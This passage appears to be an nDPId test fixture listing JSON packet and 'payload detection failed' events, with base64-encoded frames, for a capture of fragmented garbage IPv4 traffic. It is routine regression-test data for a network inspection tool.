+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610102,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610278,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610373,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610382,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 